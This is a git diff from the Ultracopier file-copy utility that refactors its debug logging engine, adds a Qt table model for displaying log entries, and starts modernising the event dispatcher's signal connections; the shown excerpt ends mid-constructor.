- debug_engine_instance->addDebugInformation(tempLevel,function,text,file,ligne,location);
- DebugEngine::destroyInstanceAtTheLastCall();
+ if(DebugEngine::debugEngine==NULL)
+ {
+ qWarning() << QStringLiteral("After close: ") << function << file << ligne;
+ return;
+ }
+ DebugLevel_custom tempLevel=DebugLevel_custom_Information;
+ switch(level)
+ {
+ case Ultracopier::DebugLevel_Information:
+ tempLevel=DebugLevel_custom_Information;
+ break;
+ case Ultracopier::DebugLevel_Critical:
+ tempLevel=DebugLevel_custom_Critical;
+ break;
+ case Ultracopier::DebugLevel_Warning:
+ tempLevel=DebugLevel_custom_Warning;
+ break;
+ case Ultracopier::DebugLevel_Notice:
+ tempLevel=DebugLevel_custom_Notice;
+ break;
+ default:
+ tempLevel=DebugLevel_custom_Notice;
+ }
+ DebugEngine::debugEngine->addDebugInformation(tempLevel,function,text,file,ligne,location);
}
void DebugEngine::addDebugNote(const QString& text)
{
- DebugEngine *debug_engine_instance=DebugEngine::getInstance();
- debug_engine_instance->addDebugInformation(DebugLevel_custom_UserNote,"",text,"",-1,"Core");
- DebugEngine::destroyInstanceAtTheLastCall();
+ if(DebugEngine::debugEngine==NULL)
+ return;
+ DebugEngine::debugEngine->addDebugInformation(DebugLevel_custom_UserNote,QStringLiteral(""),text,QStringLiteral(""),-1,QStringLiteral("Core"));
}
/// \brief For add message info, this function is thread safe
void DebugEngine::addDebugInformation(const DebugLevel_custom &level,const QString& function,const QString& text,QString file,const int& ligne,const QString& location)
{
- //Remove the compiler extra patch generated
- file=file.remove(QRegExp("\\.\\.?[/\\\\]([^/]+[/\\\\])?"));
- QString addDebugInformation_lignestring=QString::number(ligne);
- QString addDebugInformation_fileString=file;
- if(ligne!=-1)
- addDebugInformation_fileString+=":"+addDebugInformation_lignestring;
- //Load the time from start
- QString addDebugInformation_time = QString::number(startTime.elapsed());
- QString addDebugInformation_htmlFormat;
- switch(level)
- {
- case DebugLevel_custom_Information:
- addDebugInformation_htmlFormat="<tr class=\"Information\"><td class=\"time\">"+addDebugInformation_time+"</span></td><td>"+addDebugInformation_fileString+"</td><td class=\"function\">"+function+"()</td><td class=\"location\">"+location+"</td><td>"+htmlEntities(text)+"</td></tr>\n";
- break;
- case DebugLevel_custom_Critical:
- addDebugInformation_htmlFormat="<tr class=\"Critical\"><td class=\"time\">"+addDebugInformation_time+"</span></td><td>"+addDebugInformation_fileString+"</td><td class=\"function\">"+function+"()</td><td class=\"location\">"+location+"</td><td>"+htmlEntities(text)+"</td></tr>\n";
- break;
- case DebugLevel_custom_Warning:
- addDebugInformation_htmlFormat="<tr class=\"Warning\"><td class=\"time\">"+addDebugInformation_time+"</span></td><td>"+addDebugInformation_fileString+"</td><td class=\"function\">"+function+"()</td><td class=\"location\">"+location+"</td><td>"+htmlEntities(text)+"</td></tr>\n";
- break;
- case DebugLevel_custom_Notice:
- addDebugInformation_htmlFormat="<tr class=\"Notice\"><td class=\"time\">"+addDebugInformation_time+"</span></td><td>"+addDebugInformation_fileString+"</td><td class=\"function\">"+function+"()</td><td class=\"location\">"+location+"</td><td>"+htmlEntities(text)+"</td></tr>\n";
- break;
- case DebugLevel_custom_UserNote:
- addDebugInformation_htmlFormat="<tr class=\"Note\"><td class=\"time\">"+addDebugInformation_time+"</span></td><td>"+addDebugInformation_fileString+"</td><td class=\"function\">"+function+"()</td><td class=\"location\">"+location+"</td><td>"+htmlEntities(text)+"</td></tr>\n";
- break;
- }
- //To prevent access of string in multi-thread
- {
- //Show the text in console
- QString addDebugInformation_textFormat;
- addDebugInformation_textFormat = "("+addDebugInformation_time.rightJustified(8,' ')+") ";
- if(file!="" && ligne!=-1)
- addDebugInformation_textFormat += file+":"+addDebugInformation_lignestring+":";
- addDebugInformation_textFormat += function+"(), (location: "+location+"): "+text;
- puts(qPrintable(addDebugInformation_textFormat));
- QMutexLocker lock_mutex(&mutex);
- if(currentBackend==File)
- {
- if(logFile.size()>64*1024*1024) // greater than 64MB
- puts("File log greater than 64MB, stop to record it!");
- else
- logFile.write(addDebugInformation_htmlFormat.toUtf8());
- }
- else
- {
- if(debugHtmlContent.size()<64*1024*1024)
- debugHtmlContent+=addDebugInformation_htmlFormat;
- else
- puts("String greater than 64MB, stop to record it!");
- }
- ItemOfDebug newItem;
- newItem.time=addDebugInformation_time;
- newItem.level=level;
- newItem.function=function;
- if(addDebugInformation_lignestring!="-1")
- newItem.file=file+":"+addDebugInformation_lignestring;
- else
- newItem.file=file;
- newItem.location=location;
- newItem.text=text;
- listItemOfDebug << newItem;
- }
- //Send the new line
- if(addDebugInformationCallNumber<ULTRACOPIER_DEBUG_MAX_GUI_LINE)
- {
- addDebugInformationCallNumber++;
- emit newDebugInformation();
- }
-}
-
-QList<DebugEngine::ItemOfDebug> DebugEngine::getItemList()
-{
- QList<DebugEngine::ItemOfDebug> returnedList;
- {
- QMutexLocker lock_mutex(&mutexList);
- returnedList=listItemOfDebug;
- listItemOfDebug.clear();
- }
- return returnedList;
+ if(DebugEngine::debugEngine==NULL)
+ {
+ qWarning() << QStringLiteral("After close: ") << function << file << ligne;
+ return;
+ }
+ //Remove the compiler extra patch generated
+ file=file.remove(fileNameCleaner);
+ QString addDebugInformation_lignestring=QString::number(ligne);
+ QString addDebugInformation_fileString=file;
+ if(ligne!=-1)
+ addDebugInformation_fileString+=QStringLiteral(":")+addDebugInformation_lignestring;
+ //Load the time from start
+ QString addDebugInformation_time = QString::number(startTime.elapsed());
+ QString addDebugInformation_htmlFormat;
+ bool important=true;
+ switch(level)
+ {
+ case DebugLevel_custom_Information:
+ addDebugInformation_htmlFormat=QStringLiteral("<tr class=\"Information\"><td class=\"time\">")+addDebugInformation_time+QStringLiteral("</span></td><td>")+addDebugInformation_fileString+QStringLiteral("</td><td class=\"function\">")+function+QStringLiteral("()</td><td class=\"location\">")+location+QStringLiteral("</td><td>")+htmlEntities(text)+QStringLiteral("</td></tr>\n");
+ break;
+ case DebugLevel_custom_Critical:
+ addDebugInformation_htmlFormat=QStringLiteral("<tr class=\"Critical\"><td class=\"time\">")+addDebugInformation_time+QStringLiteral("</span></td><td>")+addDebugInformation_fileString+QStringLiteral("</td><td class=\"function\">")+function+QStringLiteral("()</td><td class=\"location\">")+location+QStringLiteral("</td><td>")+htmlEntities(text)+QStringLiteral("</td></tr>\n");
+ break;
+ case DebugLevel_custom_Warning:
+ addDebugInformation_htmlFormat=QStringLiteral("<tr class=\"Warning\"><td class=\"time\">")+addDebugInformation_time+QStringLiteral("</span></td><td>")+addDebugInformation_fileString+QStringLiteral("</td><td class=\"function\">")+function+QStringLiteral("()</td><td class=\"location\">")+location+QStringLiteral("</td><td>")+htmlEntities(text)+QStringLiteral("</td></tr>\n");
+ break;
+ case DebugLevel_custom_Notice:
+ {
+ addDebugInformation_htmlFormat=QStringLiteral("<tr class=\"Notice\"><td class=\"time\">")+addDebugInformation_time+QStringLiteral("</span></td><td>")+addDebugInformation_fileString+QStringLiteral("</td><td class=\"function\">")+function+QStringLiteral("()</td><td class=\"location\">")+location+QStringLiteral("</td><td>")+htmlEntities(text)+QStringLiteral("</td></tr>\n");
+ important=false;
+ }
+ break;
+ case DebugLevel_custom_UserNote:
+ addDebugInformation_htmlFormat=QStringLiteral("<tr class=\"Note\"><td class=\"time\">")+addDebugInformation_time+QStringLiteral("</span></td><td>")+addDebugInformation_fileString+QStringLiteral("</td><td class=\"function\">")+function+QStringLiteral("()</td><td class=\"location\">")+location+QStringLiteral("</td><td>")+htmlEntities(text)+QStringLiteral("</td></tr>\n");
+ break;
+ }
+ //To prevent access of string in multi-thread
+ {
+ //Show the text in console
+ QString addDebugInformation_textFormat;
+ addDebugInformation_textFormat = QStringLiteral("(")+addDebugInformation_time.rightJustified(8,' ')+QStringLiteral(") ");
+ if(file!="" && ligne!=-1)
+ addDebugInformation_textFormat += file+QStringLiteral(":")+addDebugInformation_lignestring+QStringLiteral(":");
+ addDebugInformation_textFormat += function+QStringLiteral("(), (location: ")+location+QStringLiteral("): ")+text;
+ QMutexLocker lock_mutex(&mutex);
+ if(currentBackend==File)
+ {
+ if(logFile.size()<ULTRACOPIER_DEBUG_MAX_ALL_SIZE*1024*1024 || (important && logFile.size()<ULTRACOPIER_DEBUG_MAX_IMPORTANT_SIZE*1024*1024))
+ {
+ puts(qPrintable(addDebugInformation_textFormat));
+ logFile.write(addDebugInformation_htmlFormat.toUtf8());
+ }
+ }
+ else
+ {
+ if(debugHtmlContent.size()<ULTRACOPIER_DEBUG_MAX_ALL_SIZE*1024*1024 || (important && debugHtmlContent.size()<ULTRACOPIER_DEBUG_MAX_IMPORTANT_SIZE*1024*1024))
+ {
+ puts(qPrintable(addDebugInformation_textFormat));
+ debugHtmlContent+=addDebugInformation_htmlFormat;
+ }
+ }
+ //Send the new line
+ if(addDebugInformationCallNumber<ULTRACOPIER_DEBUG_MAX_GUI_LINE)
+ {
+ addDebugInformationCallNumber++;
+ DebugModel::debugModel->addDebugInformation(startTime.elapsed(),level,function,text,file,ligne,location);
+ }
+ }
}
/// \brief Get the html text info for re-show it
QString DebugEngine::getTheDebugHtml()
{
- if(currentBackend==File)
- {
- logFile.seek(0);
- if(!logFile.isOpen())
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_custom_Warning,"The log file is not open");
- return QString().fromUtf8(logFile.readAll().data())+endOfLogFile;
- }
- else
- return debugHtmlContent+endOfLogFile;
+ if(currentBackend==File)
+ {
+ logFile.seek(0);
+ if(!logFile.isOpen())
+ ULTRACOPIER_DEBUGCONSOLE(DebugLevel_custom_Warning,"The log file is not open");
+ return QString().fromUtf8(logFile.readAll().data())+endOfLogFile;
+ }
+ else
+ return debugHtmlContent+endOfLogFile;
}
/// \brief Get the html end
QString DebugEngine::getTheDebugEnd()
{
- return endOfLogFile;
+ return endOfLogFile;
}
/// \brief Drop the html entities
-QString DebugEngine::htmlEntities(QString text)
+QString DebugEngine::htmlEntities(const QString &text)
{
- text.replace('&',"&amp;");
- text.replace('"',"&quot;");
- text.replace('\'',"&#039;");
- text.replace('<',"&lt;");
- text.replace('>',"&gt;");
- return text;
+ QString newText(text);
+ newText.replace('&',"&amp;");
+ newText.replace('"',"&quot;");
+ newText.replace('\'',"&#039;");
+ newText.replace('<',"&lt;");
+ newText.replace('>',"&gt;");
+ return newText;
}
/// \brief return the current backend
DebugEngine::Backend DebugEngine::getCurrentBackend()
{
- return currentBackend;
+ return currentBackend;
}
bool DebugEngine::tryConnect()
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_custom_Notice,"start");
- QLocalSocket localSocket;
- localSocket.connectToServer(ExtraSocket::pathSocket(ULTRACOPIER_SOCKETNAME),QIODevice::WriteOnly|QIODevice::Unbuffered);
- if(localSocket.waitForConnected(1000))
- {
- localSocket.disconnectFromServer();
- return true;
- }
- else
- return false;
+ QLocalSocket localSocket;
+ localSocket.connectToServer(ExtraSocket::pathSocket(ULTRACOPIER_SOCKETNAME),QIODevice::WriteOnly|QIODevice::Unbuffered);
+ if(localSocket.waitForConnected(1000))
+ {
+ localSocket.disconnectFromServer();
+ return true;
+ }
+ else
+ return false;
}
#endif
diff --git a/DebugEngine.h b/DebugEngine.h
index fb1eda9..e39470e 100644
--- a/DebugEngine.h
+++ b/DebugEngine.h
@@ -1,8 +1,6 @@
/** \file DebugEngine.h
\brief Define the class for the debug
\author alpha_one_x86
-\version 0.3
-\date 2010
\note This class don't need be thread safe because ultracopier is done with one thread, but I have implement some basic thread protection
\licence GPL3, see the file COPYING */
@@ -14,99 +12,116 @@
#include <QFile>
#include <QMutex>
#include <QTime>
+#include <QTimer>
#include <QList>
#include <QCoreApplication>
+#include <QAbstractTableModel>
+#include <QRegularExpression>
#include "Variable.h"
#include "PlatformMacro.h"
#include "StructEnumDefinition.h"
#include "StructEnumDefinition_UltracopierSpecific.h"
-#include "Singleton.h"
#ifdef ULTRACOPIER_DEBUG
+class DebugModel : public QAbstractTableModel
+{
+ Q_OBJECT
+public:
+ /// \brief the transfer item displayed
+ struct DebugItem
+ {
+ int time;
+ DebugLevel_custom level;
+ QString function;
+ QString text;
+ QString file;
+ QString location;
+ };
+
+ static DebugModel *debugModel;
+ DebugModel();
+ ~DebugModel();
+
+ virtual int columnCount(const QModelIndex& parent = QModelIndex()) const;
+ virtual QVariant data(const QModelIndex& index, int role = Qt::DisplayRole) const;
+ virtual int rowCount(const QModelIndex& parent = QModelIndex()) const;
+ virtual QVariant headerData(int section, Qt::Orientation orientation, int role = Qt::DisplayRole) const;
+ virtual bool setData(const QModelIndex&, const QVariant&, int = Qt::EditRole);
+
+ void addDebugInformation(const int &time, const DebugLevel_custom &level, const QString& function, const QString& text, const QString &file="", const int& ligne=-1, const QString& location="Core");
+ void setupTheTimer();
+ QTimer *updateDisplayTimer;
+ bool displayed;
+ bool inWaitOfDisplay;
+private:
+ QList<DebugItem> list;
+private slots:
+ void updateDisplay();
+};
+
/** \brief Define the class for the debug
This class provide all needed for the debug mode of ultracopier */
-class DebugEngine : public QObject, public Singleton<DebugEngine>
+class DebugEngine : public QObject
{
- Q_OBJECT
- friend class Singleton<DebugEngine>;
- public:
- /** \brief Get the html text info for re-show it
- \note This function is thread safe */
- QString getTheDebugHtml();
- /// \brief Enumeration of backend
- enum Backend
- {
- Memory, //Do intensive usage of memory, used only if the file backend is not available
- File //Store all directly into file, at crash the backtrace is into the file
- };
- /// \brief return the current backend
- Backend getCurrentBackend();
- /// \brief Get the html end
- QString getTheDebugEnd();
- /** \brief For add message info, this function
- \note This function is reentrant */
- static void addDebugInformationStatic(const DebugLevel &level,const QString& function,const QString& text,const QString& file="",const int& ligne=-1,const QString& location="Core");
- static void addDebugNote(const QString& text);
- /** \brief structure for one debug item */
- struct ItemOfDebug
- {
- DebugLevel_custom level;
- QString time;
- QString file;
- QString function;
- QString location;
- QString text;
- };
- QList<ItemOfDebug> listItemOfDebug;
- QList<ItemOfDebug> getItemList();
- public slots:
- /** \brief ask to the user where save the bug report
- \warning This function can be only call by the graphical thread */
- void saveBugReport();
-
- void addDebugInformation(const DebugLevel_custom &level,const QString& fonction,const QString& text,QString file="",const int& ligne=-1,const QString& location="Core");
- private:
- /// \brief Initiate the ultracopier event dispatcher and check if no other session is running
- DebugEngine();
- /** \brief Destroy the ultracopier event dispatcher
- \note This function is thread safe */
- ~DebugEngine();
- /// \brief Path for log file
- QFile logFile;
- /// \brief Path for lock file
- QFile lockFile;
- /// \brief Internal function to remove the lock file
- bool removeTheLockFile();
- /** \brief Do thread safe part for the addDebugInformation()
- \see addDebugInformation() */
- QMutex mutex;
- QMutex mutexList;
- /// \brief For record the start time
- QTime startTime;
- /// \brief String for the end of log file
- QString endOfLogFile;
- /// \brief Drop the html entities
- QString htmlEntities(QString text);
- /// \brief To store the debug informations
- QString debugHtmlContent;
- /// \brief The current backend
- Backend currentBackend;
- /// try connect to send to the current running instance the arguements
- bool tryConnect();
- //temp variable
- /* can't because multiple thread can access at this variable
- QString addDebugInformation_lignestring;
- QString addDebugInformation_fileString;
- QString addDebugInformation_time;
- QString addDebugInformation_htmlFormat;
- QString addDebugInformation_textFormat;*/
- quint32 addDebugInformationCallNumber;
- signals:
- /// \brief Send that's when new debug info is added
- void newDebugInformation();
+ Q_OBJECT
+ public:
+ /// \brief Initiate the ultracopier event dispatcher and check if no other session is running
+ DebugEngine();
+ /** \brief Destroy the ultracopier event dispatcher
+ \note This function is thread safe */
+ ~DebugEngine();
+ /** \brief Get the html text info for re-show it
+ \note This function is thread safe */
+ QString getTheDebugHtml();
+ /// \brief Enumeration of backend
+ enum Backend
+ {
+ Memory, //Do intensive usage of memory, used only if the file backend is not available
+ File //Store all directly into file, at crash the backtrace is into the file
+ };
+ /// \brief return the current backend
+ Backend getCurrentBackend();
+ /// \brief Get the html end
+ QString getTheDebugEnd();
+ /** \brief For add message info, this function
+ \note This function is reentrant */
+ static void addDebugInformationStatic(const Ultracopier::DebugLevel &level,const QString& function,const QString& text,const QString& file="",const int& ligne=-1,const QString& location="Core");
+ static void addDebugNote(const QString& text);
+ static DebugEngine *debugEngine;
+ public slots:
+ /** \brief ask to the user where save the bug report
+ \warning This function can be only call by the graphical thread */
+ void saveBugReport();
+ void addDebugInformation(const DebugLevel_custom &level,const QString& fonction,const QString& text,QString file="",const int& ligne=-1,const QString& location="Core");
+ private:
+ /// \brief Path for log file
+ QFile logFile;
+ /// \brief Path for lock file
+ QFile lockFile;
+ /// \brief Internal function to remove the lock file
+ bool removeTheLockFile();
+ /** \brief Do thread safe part for the addDebugInformation()
+ \see addDebugInformation() */
+ QMutex mutex;
+ QMutex mutexList;
+ /// \brief For record the start time
+ QTime startTime;
+ /// \brief String for the end of log file
+ QString endOfLogFile;
+ /// \brief Drop the html entities
+ QString htmlEntities(const QString &text);
+ /// \brief To store the debug informations
+ QString debugHtmlContent;
+ /// \brief The current backend
+ Backend currentBackend;
+ /// try connect to send to the current running instance the arguements
+ bool tryConnect();
+ int addDebugInformationCallNumber;
+ bool quit;
+ QRegularExpression fileNameCleaner;
};
#endif // ULTRACOPIER_DEBUG
diff --git a/DebugEngineMacro.h b/DebugEngineMacro.h
index 9a96957..c3822cd 100644
--- a/DebugEngineMacro.h
+++ b/DebugEngineMacro.h
@@ -1,23 +1,25 @@
/** \file DebugEngineMacro.h
\brief Define the macro for the debug
\author alpha_one_x86
-\version 0.3
-\date 2010
\licence GPL3, see the file COPYING */
#ifndef DEBUGENGINEMACRO_H
#define DEBUGENGINEMACRO_H
+#ifdef WIN32
+# define __func__ __FUNCTION__
+#endif
+
/// \brief Macro for the debug log
#ifdef ULTRACOPIER_DEBUG
- #include "DebugEngine.h"
- #if defined (__FILE__) && defined (__LINE__)
- #define ULTRACOPIER_DEBUGCONSOLE(a,b) DebugEngine::addDebugInformationStatic(a,__func__,b,__FILE__,__LINE__)
- #else
- #define ULTRACOPIER_DEBUGCONSOLE(a,b) DebugEngine::addDebugInformationStatic(a,__func__,b)
- #endif
+# include "DebugEngine.h"
+# if defined (__FILE__) && defined (__LINE__)
+# define ULTRACOPIER_DEBUGCONSOLE(a,b) DebugEngine::addDebugInformationStatic(a,__func__,b,__FILE__,__LINE__)
+# else
+# define ULTRACOPIER_DEBUGCONSOLE(a,b) DebugEngine::addDebugInformationStatic(a,__func__,b)
+# endif
#else // ULTRACOPIER_DEBUG
- #define ULTRACOPIER_DEBUGCONSOLE(a,b) void()
+# define ULTRACOPIER_DEBUGCONSOLE(a,b) void()
#endif // ULTRACOPIER_DEBUG
#endif // DEBUGENGINEMACRO_H
diff --git a/DebugModel.cpp b/DebugModel.cpp
new file mode 100644
index 0000000..2a7b173
--- /dev/null
+++ b/DebugModel.cpp
@@ -0,0 +1,158 @@
+#include "DebugEngine.h"
+
+#include <QColor>
+
+#ifdef ULTRACOPIER_DEBUG
+
+#define COLUMN_COUNT 5
+
+// Model
+
+DebugModel::DebugModel()
+{
+ displayed = false;
+ inWaitOfDisplay = false;
+ updateDisplayTimer = NULL;
+}
+
+DebugModel::~DebugModel()
+{
+ if(updateDisplayTimer!=NULL)
+ delete updateDisplayTimer;
+}
+
+int DebugModel::columnCount( const QModelIndex& parent ) const
+{
+ return parent == QModelIndex() ? COLUMN_COUNT : 0;
+}
+
+QVariant DebugModel::data( const QModelIndex& index, int role ) const
+{
+ int row,column;
+ row=index.row();
+ column=index.column();
+ if(index.parent()!=QModelIndex() || row < 0 || row >= list.count() || column < 0 || column >= COLUMN_COUNT)
+ return QVariant();
+
+ const DebugItem& item = list.at(row);
+ if(role==Qt::UserRole)
+ return row;
+ else if(role==Qt::DisplayRole)
+ {
+ switch(column)
+ {
+ case 0:
+ return item.time;
+ break;
+ case 1:
+ return item.file;
+ break;
+ case 2:
+ return item.function;
+ break;
+ case 3:
+ return item.location;
+ break;
+ case 4:
+ return item.text;
+ break;
+ default:
+ return QVariant();
+ }
+ }
+ else if(role==Qt::DecorationRole)
+ return QVariant();
+ else if(role==Qt::ForegroundRole)
+ {
+ switch(item.level)
+ {
+ case DebugLevel_custom_Information:
+ return QColor(94,165,255);
+ break;
+ case DebugLevel_custom_Critical:
+ return QColor(255,0,0);
+ break;
+ case DebugLevel_custom_Warning:
+ return QColor(255,178,0);
+ break;
+ case DebugLevel_custom_Notice:
+ return QColor(128,128,128);
+ break;
+ case DebugLevel_custom_UserNote:
+ return QColor(0,0,0);
+ break;
+ }
+ return QVariant();
+ }
+ return QVariant();
+}
+
+int DebugModel::rowCount( const QModelIndex& parent ) const
+{
+ return parent == QModelIndex() ? list.count() : 0;
+}
+
+QVariant DebugModel::headerData( int section, Qt::Orientation orientation, int role ) const
+{
+ if ( role == Qt::DisplayRole && orientation == Qt::Horizontal && section >= 0 && section < COLUMN_COUNT ) {
+ switch ( section ) {
+ case 0:
+ return QStringLiteral("Time");
+ case 1:
+ return QStringLiteral("File");
+ case 2:
+ return QStringLiteral("Function");
+ case 3:
+ return QStringLiteral("Location");
+ case 4:
+ return QStringLiteral("Text");
+ }
+ }
+
+ return QAbstractTableModel::headerData( section, orientation, role );
+}
+
+bool DebugModel::setData( const QModelIndex&, const QVariant&, int)
+{
+ return false;
+}
+
+void DebugModel::addDebugInformation(const int &time,const DebugLevel_custom &level,const QString& function,const QString& text,const QString &file,const int& ligne,const QString& location)
+{
+ DebugItem item;
+ item.time=time;
+ item.level=level;
+ item.function=function;
+ item.text=text;
+ item.file=QStringLiteral("%1:%2").arg(file).arg(ligne);
+ item.location=location;
+ list << item;
+ if(!displayed)
+ {
+ displayed=true;
+ emit layoutChanged();
+ }
+ else
+ inWaitOfDisplay=true;
+}
+
+void DebugModel::setupTheTimer()
+{
+ if(updateDisplayTimer!=NULL)
+ return;
+ updateDisplayTimer=new QTimer();
+ connect(updateDisplayTimer,&QTimer::timeout,this,&DebugModel::updateDisplay);
+ updateDisplayTimer->start(100);
+}
+
+void DebugModel::updateDisplay()
+{
+ displayed=false;
+ if(!inWaitOfDisplay)
+ {
+ inWaitOfDisplay=false;
+ displayed=true;
+ emit layoutChanged();
+ }
+}
+#endif
diff --git a/Environment.h b/Environment.h
index dcbea70..d653c5f 100644
--- a/Environment.h
+++ b/Environment.h
@@ -1,8 +1,6 @@
/** \file Environment.h
\brief Define the environment variable and global function
\author alpha_one_x86
-\version 0.3
-\date 2010
\licence GPL3, see the file COPYING */
#include "Variable.h"
@@ -13,7 +11,11 @@
#include "DebugEngineMacro.h"
#ifdef ULTRACOPIER_VERSION_PORTABLE
- #define ULTRACOPIER_VERSION_PORTABLE_BOOL true
+ #define ULTRACOPIER_VERSION_PORTABLE_BOOL true
#else
- #define ULTRACOPIER_VERSION_PORTABLE_BOOL false
+ #define ULTRACOPIER_VERSION_PORTABLE_BOOL false
+#endif
+
+#ifdef ULTRACOPIER_PLUGIN_ALL_IN_ONE
+#undef ULTRACOPIER_PLUGIN_IMPORT_SUPPORT
#endif
diff --git a/EventDispatcher.cpp b/EventDispatcher.cpp
index a19cfd4..744bc6a 100644
--- a/EventDispatcher.cpp
+++ b/EventDispatcher.cpp
@@ -1,167 +1,578 @@
/** \file EventDispatcher.cpp
\brief Define the class of the event dispatcher
\author alpha_one_x86
-\version 0.3
-\date 2010
\licence GPL3, see the file COPYING */
-#include <QFSFileEngine>
#include <QCoreApplication>
#include <QMessageBox>
+#include <QWidget>
+#include <QStorageInfo>
#include "EventDispatcher.h"
#include "ExtraSocket.h"
#include "CompilerInfo.h"
+#include "ThemesManager.h"
#ifdef Q_OS_UNIX
- #include <unistd.h>
- #include <sys/types.h>
-#else
- #include <windows.h>
+ #include <unistd.h>
+ #include <sys/types.h>
+#endif
+#ifdef Q_OS_WIN32
+ #ifndef NOMINMAX
+ #define NOMINMAX
+ #endif
+ #include <windows.h>
+ #include <tchar.h>
+ #include <stdio.h>
+ #include <strsafe.h>
+ typedef void (WINAPI *PGNSI) (LPSYSTEM_INFO);
+ typedef BOOL (WINAPI *PGPI) (DWORD, DWORD, DWORD, DWORD, PDWORD);
+#endif
+#ifdef Q_OS_MAC
+#include <QStringList>
+#include <QFile>
+#include <QDomDocument>
+#include <QDomElement>
+#endif
+
+#ifdef ULTRACOPIER_VERSION_ULTIMATE
+#include <QInputDialog>
#endif
/// \brief Initiate the ultracopier event dispatcher and check if no other session is running
EventDispatcher::EventDispatcher()
{
- copyServer=new CopyListener(&optionDialog);
- connect(&localListener,SIGNAL(cli(QStringList,bool,bool)),&cliParser,SLOT(cli(QStringList,bool,bool)),Qt::QueuedConnection);
- connect(themes, SIGNAL(newThemeOptions(QString,QWidget*,bool,bool)), &optionDialog, SLOT(newThemeOptions(QString,QWidget*,bool,bool)));
- connect(&cliParser, SIGNAL(newCopy(QStringList)), copyServer, SLOT(newCopy(QStringList)));
- connect(&cliParser, SIGNAL(newCopy(QStringList,QString)), copyServer, SLOT(newCopy(QStringList,QString)));
- connect(&cliParser, SIGNAL(newMove(QStringList)), copyServer, SLOT(newMove(QStringList)));
- connect(&cliParser, SIGNAL(newMove(QStringList,QString)), copyServer, SLOT(newMove(QStringList,QString)));
- copyMoveEventIdIndex=0;
- backgroundIcon=NULL;
- stopIt=false;
- sessionloader=new SessionLoader(&optionDialog);
- copyEngineList=new CopyEngineManager(&optionDialog);
- core=new Core(copyEngineList);
- qRegisterMetaType<CatchState>("CatchState");
- qRegisterMetaType<ListeningState>("ListeningState");
- qRegisterMetaType<QList<QUrl> >("QList<QUrl>");
- qRegisterMetaType<QList<ProgressionItem> >("QList<ProgressionItem>");
- qRegisterMetaType<QList<returnActionOnCopyList> >("QList<returnActionOnCopyList>");
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- //show the ultracopier information
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Information,QString("ULTRACOPIER_VERSION: ")+ULTRACOPIER_VERSION);
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Information,QString("Qt version: %1 (%2)").arg(qVersion()).arg(QT_VERSION));
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Information,QString("ULTRACOPIER_PLATFORM_NAME: ")+ULTRACOPIER_PLATFORM_NAME);
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Information,QString("Application path: %1 (%2)").arg(QCoreApplication::applicationFilePath()).arg(QCoreApplication::applicationPid()));
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Information,COMPILERINFO);
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Information,QString("Local socket: ")+ExtraSocket::pathSocket(ULTRACOPIER_SOCKETNAME));
- //To lunch some initialization after QApplication::exec() to quit eventually
- lunchInitFunction.setInterval(0);
- lunchInitFunction.setSingleShot(true);
- connect(&lunchInitFunction,SIGNAL(timeout()),this,SLOT(initFunction()),Qt::QueuedConnection);
- lunchInitFunction.start();
- //add the options to use
- QList<QPair<QString, QVariant> > KeysList;
- //add the options hidden, will not show in options pannel
- KeysList.clear();
- KeysList.append(qMakePair(QString("Last_version_used"),QVariant("na")));
- KeysList.append(qMakePair(QString("ActionOnManualOpen"),QVariant(1)));
- KeysList.append(qMakePair(QString("GroupWindowWhen"),QVariant(0)));
- options->addOptionGroup("Ultracopier",KeysList);
- if(options->getOptionValue("Ultracopier","Last_version_used")!=QVariant("na") && options->getOptionValue("Ultracopier","Last_version_used")!=QVariant(ULTRACOPIER_VERSION))
- {
- //then ultracopier have been updated
- }
- options->setOptionValue("Ultracopier","Last_version_used",QVariant(ULTRACOPIER_VERSION));
- int a=options->getOptionValue("Ultracopier","ActionOnManualOpen").toInt();
- if(a<0 || a>2)
- options->setOptionValue("Ultracopier","ActionOnManualOpen",QVariant(1));
- a=options->getOptionValue("Ultracopier","GroupWindowWhen").toInt();
- if(a<0 || a>5)
- options->setOptionValue("Ultracopier","GroupWindowWhen",QVariant(0));
-
- KeysList.clear();
- KeysList.append(qMakePair(QString("List"),QVariant(QStringList() << "Ultracopier-0.3")));
- options->addOptionGroup("CopyEngine",KeysList);
-
- connect(&cliParser, SIGNAL(newTransferList(QString,QString,QString)),core, SLOT(newTransferList(QString,QString,QString)));
+ qRegisterMetaType<QList<Ultracopier::ReturnActionOnCopyList> >("QList<Ultracopier::ReturnActionOnCopyList>");
+ qRegisterMetaType<QList<Ultracopier::ProgressionItem> >("QList<Ultracopier::ProgressionItem>");
+ qRegisterMetaType<Ultracopier::EngineActionInProgress>("Ultracopier::EngineActionInProgress");
+ qRegisterMetaType<QList<QUrl> >("QList<QUrl>");
+ qRegisterMetaType<Ultracopier::ItemOfCopyList>("Ultracopier::ItemOfCopyList");
+ #ifdef ULTRACOPIER_CGMINER
+ qRegisterMetaType<QProcess::ExitStatus>("QProcess::ExitStatus");
+ qRegisterMetaType<QProcess::ProcessError>("QProcess::ProcessError");
+ #endif
+
+ copyServer=new CopyListener(&optionDialog);
+ connect(&localListener, &LocalListener::cli, &cliParser, &CliParser::cli,Qt::QueuedConnection);
+ connect(ThemesManager::themesManager, &ThemesManager::newThemeOptions, &optionDialog, &OptionDialog::newThemeOptions);
+ connect(&cliParser, &CliParser::newCopyWithoutDestination, copyServer, &CopyListener::copyWithoutDestination);
+ connect(&cliParser, &CliParser::newCopy, copyServer, &CopyListener::copy);
+ connect(&cliParser, &CliParser::newMoveWithoutDestination, copyServer, &CopyListener::moveWithoutDestination);
+ connect(&cliParser, &CliParser::newMove, copyServer, &CopyListener::move);
+ connect(copyServer, &CopyListener::newClientList, &optionDialog, &OptionDialog::newClientList);
+ #ifdef ULTRACOPIER_PLUGIN_IMPORT_SUPPORT
+ connect(&cliParser, &CliParser::tryLoadPlugin, PluginsManager::pluginsManager, &PluginsManager::tryLoadPlugin);
+ #endif
+ copyMoveEventIdIndex=0;
+ backgroundIcon=NULL;
+ stopIt=false;
+
+
